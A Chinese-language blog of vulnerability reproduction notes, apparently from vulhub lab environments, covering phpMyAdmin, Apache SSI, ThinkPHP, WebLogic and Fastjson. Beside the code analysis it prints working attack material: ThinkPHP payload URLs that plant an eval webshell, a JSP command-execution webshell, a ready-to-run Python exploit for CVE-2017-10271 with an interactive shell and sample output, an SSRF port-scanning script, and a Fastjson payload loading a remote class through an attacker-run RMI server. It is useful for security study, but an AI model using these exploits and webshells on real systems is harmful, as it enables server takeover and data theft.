phpmyadmin
phpmyadmin scripts/setup.php 反序列化漏洞(WooYun-2016-199433)
漏洞原理:http://www.polaris-lab.com/index.php/archives/66/
根据提示我们先进入到 /scripts/setup.php 的目录下
由于 configuration 参数是可控的 所以我们可以根据 poc 或自行构造
然后这是我们序列化后的结果
然后就复现成功了
Apache
Apache SSI 远程命令执行漏洞(2019.11.27)
原理:
当目标服务器开启了SSI与CGI支持,我们就可以上传shtml文件,利用语法执行命令。
什么是ssi
简单的来说ssi可以对静态的html网页进行动态的改动,我们通过在静态的html页面中插入不同的内容,如果不利用ssi的话我们需要对页面改变就需要重新生成所有的静态的html,但是如果有了ssi 的话服务器会根据嵌入文件自动生成网页,输出到浏览器,如要修改则只需要修改嵌入的文件
它们允许将动态生成的内容添加到现有HTML页面,而无需通过CGI程序或其他动态技术提供整个页面。
文章链接:https://blog.csdn.net/fdipzone/article/details/10820127
SHTML文件
.shtml 文件就是 html 文件加个 ssi
CGI支持
CGI是一个通用网关接口(CGI本身是一套协议和规范)
首先简单的说一下web server 和 web应用程序之间的关系,这两者的关系就像手机和手机应用程序一样。因为web server所处理的内容全部都是静态的,所以如果想要处理动态的内容需要CGI的支持(需要依赖web应用程序)web server 依赖CGI协议将动态的请求传给web应用程序进行处理,然后web应用程序处理完毕之后再通过cgi协议返回给web server(html静态页面)
这里由于我们是要访问上传的那个文件的,所以坑定是动态的请求,这一过程是需要交给web应用程序去处理的,然后web应用程序将处理后的结果返回给web server
这里我个人觉得我说的不够清楚我后面会继续进行修改
文章链接:https://www.jianshu.com/p/e5e471f368aa
https://blog.csdn.net/LiuNian_SiYu/article/details/60964966
最终结果如下图
我们通过上传 内容为
<!--#exec cmd="id" -->
的shell.shtml,然后访问文件地址可以发现成功
ThinkPHP
ThinkPHP 2.x 任意代码执行漏洞 (2019.11.28)
原理:
preg_replace
的/e
模式匹配路由导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit ] )
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)
有漏洞的是这个文件/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php
125 – $res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'\/]+)@e’, ‘$var[\'\\1\']=”\\2″;’, implode($depr,$paths));
125 + $res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'\/]+)@e’, ‘$var[\'\\1\']=\’\\2\’;', implode($depr,$paths));
这是官方前后发布的补丁,我们可以看到官方把 \2\两边的双引号变成了单引号
复现过程:
http://127.0.0.1:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D`
既然我们都可以执行任意命令了何不来个shell呢?(奸笑
http://127.0.0.1:8080/index.php/index.php?s=/index/index/name/${${@eval($_POST[1])}}
别的不多说了俺们直接蚁剑安排上!!
ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用(GetShell)(2019.11.29)
原理:
文章:https://mp.weixin.qq.com/s/kwp5uxom7Amrj6S_-g8r4Q
在/thinkphp/library/think/Container.php中的invokefunction函数
在Container类中有个call_user_func_array()回调函数,经常做代码审计的小伙伴都知道,这个函数非常危险,只要能控制$function和$args,就能造成代码执行漏洞
invokefunction(函数名)&function=call_user_func_array(让函数为call_user_func_array)&vars[0]=system(参数1)&vars[1][]=echo%20%27%27%20>%20info.php(参数2)
接下来的就是我们需要从外界引导到这个函数上面
当$name以反斜线\开始时会直接将其作为类的命名空间路径。看到这里然后回想一下之前的分析,我们会发现这种命名空间路径获取的方式和之前获取的方式不一样(之前是进入了parseClass方法对模块、类名等进行拼接),而且这种获取是不需要和模块有联系的,所以我们想是不是可以直接将类名以命名空间的形式传入,然后再以命名空间的特性去自动加载类?同时这样也脱离了模块这个条件的束缚。
/index.php/index/think\Container/invokefunction
(这里我后面会后续进行修改,感觉写的不是很清楚)
漏洞复现:
按照提示文档复现的phpinfo() 这里就不再多说,由于是命令执行所以我们可以getshell 我们这里演示getshell的步骤
http://127.0.0.1:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php eval($_POST['123']);?>%27%20>%20info.php
我们文件已经成功上传上去了,然后访问info.php利用 hack bar 进行命令执行
ThinkPHP5 5.0.23 远程代码执行漏洞(2019.11.30)
原理:
(由于对thinkphp框架不了解 我需要多看一些时间 把这个弄的非常明白了之后,再写 对不住 鸽了 然后发现前面的写的都不是很好,后面打算把前面也再多完善一下)
漏洞复现:
漏洞url:/index.php?s=captcha
post
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
ThinkPHP5 5.0.23 远程代码执行漏洞 (原理--2019.12.06)
前言:
非常不好意思,鸽了这么久,由于本人代码审计功底=0,所以这几天结合先知,smile等师傅们等文章弄明白了,再次感谢。
参考文章链接:
https://hurricane618.me/2019/02/03/thinkphp-5-0-23-rce/#%E5%90%8E%E8%AE%B0
https://kylingit.com/blog/thinkphp-5.0.x-%E7%89%88%E6%9C%AC%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
https://www.ebounce.cn/web/thinkphp-rce.html
https://xz.aliyun.com/t/3845#toc-2
https://www.smi1e.top/thinkphp-5-0-05-0-23-rce-%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90/
漏洞流程分析:
我这里的源码版本为thinkphp 5.0.22
下载地址:http://www.thinkphp.cn/donate/download/id/1260.html
poc:_method=__construct&filter[]=system&method=get&
get[]=id
首先我们先简单的看一下漏洞是如何形成和利用的(后面会整体进行解释,先说这个是希望各位师傅看后面整体的思路清晰一些)
首先我们来看我们漏洞的调用链(简单来说就是我们通过这些函数的调用来RCE的)
param -> method -> server ->input -> getFilter -> Rce
那么我们先从param这个函数来看,我们可以看到在第637行调用了method方法,所以我们跟进method函数进行查看
文件位置:/thinkphp/library/think/Request.php这里就是一个漏洞点,也是后面补丁修改的地方,补丁会在最后贴出,我们看第524,525,526行,发现通过外部传入Config::get('var_method')
我们可以实现该类任意方法的调用
为什么可以任意方法调用?
这里可以看到从外部传入var_method的值,但是可以发现我们的poc中没有var_method,我们看到位于appliction文件夹下面的config.php文件,如图
这里进行了伪装变量所以我们poc中的_method就是来源于此。但是我们好像还是没有解决问题,没事咱慢慢来。
if (isset($_POST[Config::get('var_method')])) {
$this->method=$strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
之前所说的漏洞点的那几行代码。我们看第二行,可以发现我们之前的var_method赋给了method,那么也就是说我们可以控制method的值了。这里用poc举个例子,poc中的赋值为 _method=__construct ,所以我们赋值完之后method的值就为__construct,所以通过第三行代码就可以调用任意方法,如下
$this->{$this->__construct}($_POST);
好解决完以上的问题我们继续往下看,发现method中又调用了server函数,我们继续进行跟进,然后发现server中调用了input 我们继续进行跟进
紧接着在server中又调用了getFilter和filterValue,我们一一进行跟进。
该函数调用了$this->getFileter
取得过滤器。$this->filter
的值是攻击者通过调用构造函数覆盖控制的(通过之前都_construct进行覆盖控制),将该值返回后将进入到input函数
filterValue方法,我们发现第1083行也就是我图中标红的那行用了一个call_user_func函数,如果我们能够控制这个函数的两个参数我们就可以进行rce。一个参数为$filter,另一个参数为$value
那么如何控制呢?
我们一个个来,我们先来说如何控制filter参数。
还记得我们之前的那个method的漏洞吗?我们对Request类中对任何方法进行调用,首先思考__construct函数,这个是构造函数,可以自行运行。查看源代码
由于$options参数是可控的,所以我们可以通过这个构造函数对变量进行覆盖。结合poc
_method=__construct&filter[]=system&method=get&get[]=id
我们传入filter[]=system,进行覆盖我们这个类对filter属性,然后$filter通过之前的getFilter方法进行获取,这样我们的第一个参数就可控了。
然后我们再来看第二个参数 $value
我们重新看回param函数,我们之前看到method之后就没有继续往下看了,我们继续往下看。
发现当$this->mergeParam
为空时,这里会调用$this->get(false)
。
跟踪get函数,首先我们发现$this->get = $_GET 所以$this->get的数值我们可以人为控制的,这也就是为什么poc中get[]=id的原因,继续往下看我们又看到了我们熟悉的input函数
跟进input函数,结合上下两图可以知道我们的this->get的值就是我们input函数里面data的值,然后又因为value是data的第一个参数,所以第二个参数value我们也控制了
所以两个参数都被我们控制了我们就可以rce了
完整的调用如下图
完整分析流程:
我们从入口文件这里开始看,入口文件为App.php '/thinkphp/library/think/App.php'中的run方法,实例化了一个$request
对象传给了routeCheck
方法
进行跟进查看routeCheck()方法 同文件下大概617行左右可以找到routeCheck方法,然后调用了Route::check进行了路由检测
跟进Route::check()函数 '/thinkphp/library/think/Route.php' 在我标记打那行可以看到method函数,这也就是我们之前所说的,通过method代码的漏洞使得var_method的值可控从而使得可以通过控制$this->method可以调用Request类的所有方法,所以通过了_method=__construct 进行变量覆盖。
还有一个就是rules,可以看出rules的值取决于method,这也就是为什么我们的poc中指定了method=get,这样才可以正确获取到路由信息从而通过routeCheck的检查,所以我们需要通过变量覆盖将method覆盖为get
通过之前简单的分析可以知道我们需要通过__construct覆盖的属性有三个
$this->filter`,`$this->method`,`$this->get
也就是我们的poc:
_method=__construct&filter=system&method=get&get[]=id
现在还有一个问题为什么url是?s=captcha
因为我们请求的路由是?s=captcha
,它对应的注册规则为\think\Route::get
补丁分析:
我们可以看到补丁修改的地方对method进行了白名单过滤
总结:
总的来说这几天看这个下来,发现哪怕没基础到最后还是可以看明白只要耐心研究就可以了,这个漏洞我个人感觉大抵都是变量覆盖,还有就是method那里没有做很好的限制出现的
Weblogic
Weblogic 任意文件上传漏洞(CVE-2018-2894)
复现过程
我这里使用的vulhub靶场里面的docker环境
在这个漏洞发生之后,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制(变鸡肋了)
所以我们需要先登陆进去 把 web service test page打开
然后把服务打开之后,访问
http://192.168.1.5/ws_utc/config.do
原本这里是有未授权访问的,我们可以直接访问这个链接进行文件上传,但是oracle修复之后默认不开启就比较鸡肋了
https://paper.seebug.org/647/
当我们设置一个新的目录之后,weblogic 会把原来所有的文件都迁移到新的目录下面
这里我们的路径是
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
访问这个目录是不需要权限的,所以我们才能在这个目录下进行一个上传。
然后我们点击security,进行一个文件的上传
木马的代码如下
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
查看burp包会发现上传后的地址为返回的时间戳加文件名字
上传后的shell位于工作台配置的目录下的/config/keystore/目录中
我之前那个是目录是css 所以对应 /ws_utc/css/config/keystore 后面两个是固定的
所以访问如下地址
http://192.168.1.5:7001/ws_utc/css/config/keystore/1587448709287_pwd.jsp?pwd=023&i=id
就可以进行代码的执行了
Weblogic SSRF漏洞
复现过程
漏洞存在于 http://localhost:7001/uddiexplorer/SearchPublicRegistries.jsp
这个链接不用登陆就可以进行一个访问
我们通过burp发包
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
我们可以看出来,端口开放和端口没开放是两个不同的回显,这样我们就可以进行一个简单的端口探测,根据docker的文档中说的,和weblogic同c段还有一个redis服务。(在实际过程中可以通过这个ssrf漏洞对内网进行一个简单的扫描)
探测脚本,写了一个非常简陋的脚本虽然样子不好看但是凑活着用还是可以的哈哈哈,如果是整个c段扫描的话估计会花一会时间
import requests
from concurrent.futures import ThreadPoolExecutor
ports = [21,22,23,25,53,67,68,110,139,143,161,389,445,512,513,514,1080,1352,1521,2049,2181,2375,3306,3389,4848,5000,5432,80,443, 5632,5900,6379,7001,7002,8069,8161,8080,8089,8083,8086,9000,9090,9200,9300,11211,27017,27018]
s = requests.session()
target = "http://192.168.1.4:7001"
def scan(n):
for port in ports:
payload = "/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=\
Business+location&btnSubmit=Search&operator=http://172.20.0.{}:{}".format(n,port)
url = target + payload
# print(url)
content = s.get(url).text
if "did not have a valid SOAP content-type" in content:
print("http://172.20.0.%s:%s端口开启" % (n,port))
def start():
pool = ThreadPoolExecutor()
[pool.submit(scan,i) for i in range(0,256)]
if __name__ == '__main__':
start()
首先我们需要知道我们这个docker的内网ip
我们通过 docker exec -it 容器id /bin/bash
然后通过ifconfig进行查看ip,在实际环境中需要对这个c段的一些敏感信息进行一个扫描,我后续会写一个附上
这里我们直接进入redis的容器中查看服务 端口6379
根据文档中的payload进行简单修改和操作
然后进入weblogic 的容器监听21端口
成功
这里说一下我自己的疑惑,我后面又想了想如果想靶场里面这样那我不是只能在内网的机子上进行监听操作吗,这个主要是先通过ssrf进行内网探测c段等我们可以探测到6379这样的敏感端口,但是在真实渗透环境下我们如何进行一个反弹shell的 而且这里是把shell写在来/etc里面,emmm所以就感觉实际操作可行性不是很大?这里我后续再研究研究
weblogic CVE-2017-10271
版本: < 10.3.6
因为发现之前的一些单纯的复现和docker的提示文档其实没什么两样,所以如果在正常复现过程中我本地是比较顺利的话后面就不写复现过程了,后面倾向于写一些自己的思考和自己写的一些poc
Poc
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import sys
import time
import optparse
import hashlib
import urllib3
from lxml import etree
"""
Author:KpLi0rn
Website:https://www.wjlshare.xyz
"""
urllib3.disable_warnings()
class Exploit(object):
def __init__(self,url):
self.header ={"Accept-Encoding": "gzip, deflate",
"User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
"Connection": "close",
"Content-Type": "text/xml"}
self.url = url
def getshell(self):
s = requests.Session()
target = self.url +"/wls-wsat/CoordinatorPortType"
m = hashlib.md5()
m.update(b'%s' % (str(time.time())).encode('utf-8'))
name = m.hexdigest()[:6]
# 大坑!!! 在别的地方有{的时候需要{{两个大括号来进行转义
data = """<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/{}.jsp</string>
<void method="println"><string>
<![CDATA[
<%
if("023".equals(request.getParameter("pwd"))){{
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){{
out.println(new String(b));
}}
out.print("</pre>");
}}
%>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>""".format(name)
context = s.post(target,data=data,headers=self.header,verify=False,timeout=7)
# content = context.text
local = "{}/bea_wls_internal/{}.jsp".format(self.url, name)
page = s.get(local,timeout=7)
code = page.status_code
# if content.find("java.io.PrintWriter cannot be cast to java.lang.String"):
if code == 200:
# print(code)
# local ="{}/bea_wls_internal/{}.jsp".format(self.url,name)
print("[+] GetShell Sucess!!! Address: " + local )
print("[+] Use exit to cancel the command ")
# print
return name
else:
print("[!] GetShell Fail Please Try Manually ")
sys.exit(0)
def command(self):
if self.getshell is not None:
s = requests.Session()
name = self.getshell()
local = "{}/bea_wls_internal/{}.jsp".format(self.url,name)
execute = local + "?pwd=023&i="
while True:
cmd = input("cmd>>> ")
if cmd == 'exit':
break
url = execute + cmd
res = s.get(url,timeout=7,verify=False).text
parser = etree.HTML(res)
res = "".join(parser.xpath("/html/body/pre/text()")).strip('\n').strip(' ').strip('\n')
print(res)
if __name__ == '__main__':
parser = optparse.OptionParser()
parser.add_option('-u','--url',dest='url',type='string',help='target url')
(options,args) = parser.parse_args()
try:
if options.url is None :
parser.print_help()
sys.exit(0)
else:
exp = Exploit(options.url)
exp.command()
except Exception as e:
print(e)
weblogic 反序列化漏洞getshell 自写poc 本地利用docker环境编写
shell的名称采用时间加md5进行随机化处理,所以每次重新运行该poc都会重新getshell
使用方式 python3 CVE-2017-10271.py -u "目标url"
KpLi0rn@KpLi0rn CVE-2017-10271 % python3 CVE-2017-10271.py -u "http://192.168.1.4:7001"
[+] GetShell Sucess!!! Address: http://192.168.1.4:7001/bea_wls_internal/c88a9c.jsp
[+] Use exit to cancel the command
cmd>>> ls
autodeploy
bin
config
console-ext
fileRealm.properties
init-info
lib
security
servers
startWebLogic.sh
cmd>>> exit
KpLi0rn@KpLi0rn CVE-2017-10271 %
写出来发现其实还蛮有成就感的,在过程中也踩了几个坑不过最后效果我个人也比较满意 蛮好的嘿嘿嘿
weblogic 如果前台存在容易文件读取的话,那么就读取这两个文件
SerializedSystemIni.dat
和config.xml
加密后的登陆密码在config.xml 里面的 <node-manager-password-encrypted>
Fastjson
Fastjson<1.2.24 反序列化导致任意命令执行漏洞
复现过程
环境:docker
执行代码:
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
本地创建一个java文件,TouchFile.java 然后进行编译
上传到我们的服务器上,然后借助github上的一个项目,https://github.com/mbechler/marshalsec
git clone 到本地之后,然后进入到文件夹之后
mvn clean package -DskipTests
然后上传到服务器之后
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://服务器的ip/#TouchFile" 9999
然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class
然后post发包:
POST / HTTP/1.1
Host: 192.168.1.4:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 166
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://服务器ip:9998/TouchFile",
"autoCommit":true
}
}
然后进入docker 容器发现/tmp/文件夹下的success创建成功